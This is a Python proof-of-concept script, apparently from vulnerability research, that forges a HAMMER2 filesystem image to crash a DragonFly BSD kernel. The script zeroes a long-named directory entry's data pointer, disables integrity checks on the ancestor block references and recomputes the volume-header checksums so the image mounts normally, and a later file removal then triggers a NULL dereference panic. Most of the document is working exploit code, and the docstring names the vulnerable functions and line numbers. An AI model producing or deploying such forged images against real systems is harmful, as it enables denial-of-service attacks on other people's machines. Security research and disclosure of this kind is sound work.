#!/usr/bin/env python3
"""
DF-2640 PoC image forger.

Primitive (DF-2617, still live in-tree and NOT remediated at these sinks by
DF-2617's fix.diff): hammer2_chain_load_data() (chain.c:938-939) early-returns
SUCCESS for data_off==0 on data-requiring bref types -> chain->data == NULL,
chain->error == 0.

NEW SINK (this finding, sys/vfs/hammer2/hammer2_xops.c): the backend lookup
loops of xop_nresolve / xop_unlink / xop_nrename pass the freshly-locked chain
straight into hammer2_chain_dirent_test() (xops.c:282/368/610/771) which
dereferences chain->data->ipdata (chain.c:5775) / chain->data->buf
(chain.c:5784) with NO chain->error / chain->data guard.  DF-2617's verified
fix.diff only guards the vfsops label-scan and iocom consumers; it arms
chain->error but nothing on the xop lookup path ever reads it, and pre-fix
error is 0 anyway.

Variant U:  /pub/<80*'p'> long-named DIRENT bref (inside pub's inode data
           block) data_off = 0  (the >64-byte name lives in the dirent's
           data block, which no longer exists)
           -> mount succeeds (mount never reads the dirent data block);
              `rm /mnt/h2/pub/<80*p>' -> namei -> VOP_NRESOLVE ->
              hammer2_xop_nresolve -> lookup finds the DIRENT chain
              (data NULL, error 0, namlen 80 == name_len) ->
              hammer2_chain_dirent_test() -> bcmp(chain->data->buf, ...)
              at chain.c:5784 -> Fatal trap 12 near-NULL.

           NOTE: with short names (<= 64 bytes) the name is embedded in the
           bref itself (check.buf) and dirent_test never touches chain->data;
           the >64-byte name is what makes the xop lookup loop's unguarded
           call the FIRST dereference of the corrupted chain.

Variant U2: /<80*'g'> long-named DIRENT bref (inside the PFS root inode data
           block) data_off = 0  (root-side trigger; same crash, rm as root)

CRC handling (DF-2616/DF-2617 technique): CHECK_NONE (methods=0x00) every
ancestor bref whose media block contains edited bytes, then recompute the
volume-header CRC32Cs of all volhdr copies.

Ancestor chain for U:  f1-bref(edited) lives in pub's inode block ->
  pub-bref CHECK_NONE'd (edited) lives in PFS-root's inode block ->
  PFS-bref CHECK_NONE'd (edited) lives in sroot's inode block ->
  sroot-brefs CHECK_NONE'd (edited) live in the volhdrs -> CRC recompute.
"""
import struct, sys

def _mk():
    poly = 0x82F63B78
    t = []
    for n in range(256):
        c = n
        for _ in range(8):
            c = (c >> 1) ^ poly if (c & 1) else (c >> 1)
        t.append(c)
    return t
_T = _mk()

def iscsi_crc32(data):
    crc = 0xFFFFFFFF
    for b in data:
        crc = _T[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc ^ 0xFFFFFFFF

assert iscsi_crc32(b"123456789") == 0xE3069283

RADIX_MASK = 0x3F
BREF = 128
INODE_DATA_BLOCKSET = 0x200
VOLHDR_STRIDE = 0x40000
MAGIC = 0x48414D3205172011
T_EMPTY, T_INODE, T_INDIRECT, T_DATA, T_DIRENT = 0, 1, 2, 3, 4

def bref_parse(buf, off):
    t, methods = struct.unpack_from('<2B', buf, off)
    key, mtid, modtid, doff, utid = struct.unpack_from('<QQQQQ', buf, off + 8)
    return dict(type=t, methods=methods, key=key, data_off=doff, off=off)

def recompute_volhdr_crcs(buf, vo):
    c1 = iscsi_crc32(bytes(buf[vo + 512:vo + 1024]))
    struct.pack_into('<I', buf, vo + 0x1F8, c1)
    c0 = iscsi_crc32(bytes(buf[vo:vo + 508]))
    struct.pack_into('<I', buf, vo + 0x1FC, c0)
    cv = iscsi_crc32(bytes(buf[vo:vo + 0xFFFC]))
    struct.pack_into('<I', buf, vo + 0xFFFC, cv)

def find_volhdrs(img):
    offs = []
    for off in range(0, 4 * VOLHDR_STRIDE, VOLHDR_STRIDE):
        if struct.unpack_from('<Q', img, off)[0] == MAGIC:
            offs.append(off)
    assert offs, "no volume header found"
    return offs

def inode_name(img, iblk):
    nlen = struct.unpack_from('<H', img, iblk + 0x80)[0]
    if nlen == 0 or nlen > 255:
        return None
    return bytes(img[iblk + 0x100:iblk + 0x100 + nlen]).split(b'\0')[0]

def set_data_off(off, val):
    struct.pack_into('<Q', img, off + 0x20, val)

def set_methods(off, val):
    struct.pack_into('<B', img, off + 0x01, val)

img = None

def children(img, iblk):
    """yield brefs in an inode's blockset: 8 direct slots + indirect arrays"""
    for i in range(8):
        br = bref_parse(img, iblk + INODE_DATA_BLOCKSET + i * BREF)
        if br['type'] != T_EMPTY:
            yield br
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            blk = br['data_off'] & ~RADIX_MASK
            radix = br['data_off'] & RADIX_MASK
            for j in range(min((1 << radix) // BREF, 1024)):
                br2 = bref_parse(img, blk + j * BREF)
                if br2['type'] != T_EMPTY:
                    yield br2

def find_named(img, root_blk, want):
    """recursive search for an INODE bref whose inode name == want.
       returns (bref, ancestor_brefs_covering_path) for CHECK_NONE'ing."""
    stack = [(root_blk, [])]
    while stack:
        blk, ancestors = stack.pop(0)
        for br in children(img, blk):
            if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
                continue
            nm = inode_name(img, br['data_off'] & ~RADIX_MASK)
            if nm == want:
                return br, ancestors
            stack.append((br['data_off'] & ~RADIX_MASK, ancestors + [br]))
    return None, None

def find_named_dirent(img, root_blk, unused=None):
    """find the >64-byte-named DIRENT bref in this directory (the long name
       lives in the dirent data block; check.buf holds unrelated bytes).
       Bref layout: embed.dirent.namlen @+0x38."""
    for br in children(img, root_blk):
        if br['type'] != T_DIRENT:
            continue
        namlen = struct.unpack_from('<H', img, br['off'] + 0x38)[0]
        if namlen > 64:
            return br, None
    return None, None

def find_covering_bref(img, root_blk, target_blk):
    """find the INDIRECT bref under root_blk whose media block is
       target_blk (i.e. the bref covering edits inside that block)."""
    for br in children(img, root_blk):
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            if (br['data_off'] & ~RADIX_MASK) == target_blk:
                return br
    return None

def find_named_dirent_or_inode(img, root_blk, want):
    """find the short-named DIRENT bref for `want` (name embedded in
       check.buf)."""
    for br in children(img, root_blk):
        if br['type'] != T_DIRENT:
            continue
        namlen = struct.unpack_from('<H', img, br['off'] + 0x38)[0]
        if namlen != len(want):
            continue
        nm = bytes(img[br['off'] + 0x40:br['off'] + 0x40 + namlen])
        if nm == want:
            return br, None
    return None, None

def find_inode_block(img, root_blk, inum):
    """locate the media block of the invisible inum-keyed INODE chain
       (bref.key == inum, meta.inum @+0x58 agrees)."""
    for br in children(img, root_blk):
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            continue
        if br['key'] != inum:
            continue
        blk = br['data_off'] & ~RADIX_MASK
        if struct.unpack_from('<Q', img, blk + 0x58)[0] == inum:
            return blk, br
    return None, None

def main():
    if len(sys.argv) != 4 or sys.argv[2] not in ('U', 'U2'):
        print("usage: forge_df2640.py <base.img> <U|U2> <out.img>")
        sys.exit(2)
    base, variant, out = sys.argv[1:4]
    global img
    img = bytearray(open(base, 'rb').read())
    vols = find_volhdrs(img)
    print("[forge] volhdr copies at: %s" % ", ".join(hex(o) for o in vols))

    sroots = []
    for vo in vols:
        br = bref_parse(img, vo + 0x200)
        assert br['type'] == T_INODE and (br['data_off'] & RADIX_MASK), \
            "bad sroot bref in volhdr @%#x" % vo
        sroots.append(br)
    sblk = sroots[0]['data_off'] & ~RADIX_MASK
    assert all((br['data_off'] & ~RADIX_MASK) == sblk for br in sroots)
    print("[forge] sroot inode block @ %#x" % sblk)

    # locate PFS "testvol" inode bref under sroot
    pfs_bref = None
    def try_child(br):
        nonlocal pfs_bref
        if br['type'] != T_INODE or not (br['data_off'] & RADIX_MASK):
            return False
        if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol':
            pfs_bref = br
            return True
        return False
    def walk_indirect(blk, radix, depth):
        nslots = min((1 << radix) // BREF, 1024)
        for i in range(nslots):
            br = bref_parse(img, blk + i * BREF)
            if br['type'] == T_EMPTY:
                continue
            if try_child(br):
                return True
            if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK) and depth < 4:
                if walk_indirect(br['data_off'] & ~RADIX_MASK,
                                 br['data_off'] & RADIX_MASK, depth + 1):
                    return True
        return False
    for i in range(8):
        br = bref_parse(img, sblk + INODE_DATA_BLOCKSET + i * BREF)
        if try_child(br):
            break
        if br['type'] == T_INDIRECT and (br['data_off'] & RADIX_MASK):
            if walk_indirect(br['data_off'] & ~RADIX_MASK,
                             br['data_off'] & RADIX_MASK, 1):
                break
    assert pfs_bref, "testvol PFS inode not found"
    pfs_blk = pfs_bref['data_off'] & ~RADIX_MASK
    print("[forge] testvol PFS inode bref @img+%#x -> inode blk @ %#x"
          % (pfs_bref['off'], pfs_blk))

    if variant == 'U':
        # find /pub (short-named DIRENT -> invisible inum-keyed INODE)
        pub_bref, _ = find_named_dirent_or_inode(img, pfs_blk, b'pub')
        assert pub_bref, "pub entry not found under PFS root"
        # pub is a short-named DIRENT; its inode block holds pub's blockset
        pub_inum = struct.unpack_from('<Q', img, pub_bref['off'] + 0x30)[0]
        pub_blk, pub_inode_bref = find_inode_block(img, pfs_blk, pub_inum)
        assert pub_blk, "pub inode block not found"
        print("[forge] pub dirent bref @img+%#x (inum %#x) -> inode blk @ %#x"
              % (pub_bref['off'], pub_inum, pub_blk))
        tgt_bref, _ = find_named_dirent(img, pub_blk)
        assert tgt_bref, "long-named 'p'*80 dirent not found under pub"
        print("[forge] U: long DIRENT bref @img+%#x data_off %#x -> 0"
              % (tgt_bref['off'], tgt_bref['data_off']))
        set_data_off(tgt_bref['off'], 0)
        # ancestors whose media blocks hold edited bytes:
        set_methods(pub_inode_bref['off'], 0x00)  # covers pub's inode block
        # pub's inode bref lives inside an INDIRECT block; cover that too
        ind_bref = find_covering_bref(img, pfs_blk,
                                      pub_inode_bref['off'] & ~RADIX_MASK)
        if ind_bref:
            set_methods(ind_bref['off'], 0x00)
            print("[forge] CHECK_NONE on covering INDIRECT bref @img+%#x"
                  % ind_bref['off'])
        set_methods(pfs_bref['off'], 0x00)        # covers PFS root's inode block
        for br in sroots:
            set_methods(br['off'], 0x00)     # covers sroot block
        print("[forge] CHECK_NONE on pub + PFS + sroot brefs")
    else:  # U2
        tgt_bref, _ = find_named_dirent(img, pfs_blk)
        assert tgt_bref, "long-named 'g'*80 dirent not found under PFS root"
        print("[forge] U2: long DIRENT bref @img+%#x data_off %#x -> 0"
              % (tgt_bref['off'], tgt_bref['data_off']))
        set_data_off(tgt_bref['off'], 0)
        set_methods(pfs_bref['off'], 0x00)   # covers PFS root's inode block
        for br in sroots:
            set_methods(br['off'], 0x00)     # covers sroot block
        print("[forge] CHECK_NONE on PFS + sroot brefs")

    for vo in vols:
        recompute_volhdr_crcs(img, vo)
    open(out, 'wb').write(img)
    print("[+] wrote %s (variant %s)" % (out, variant))

if __name__ == '__main__':
    main()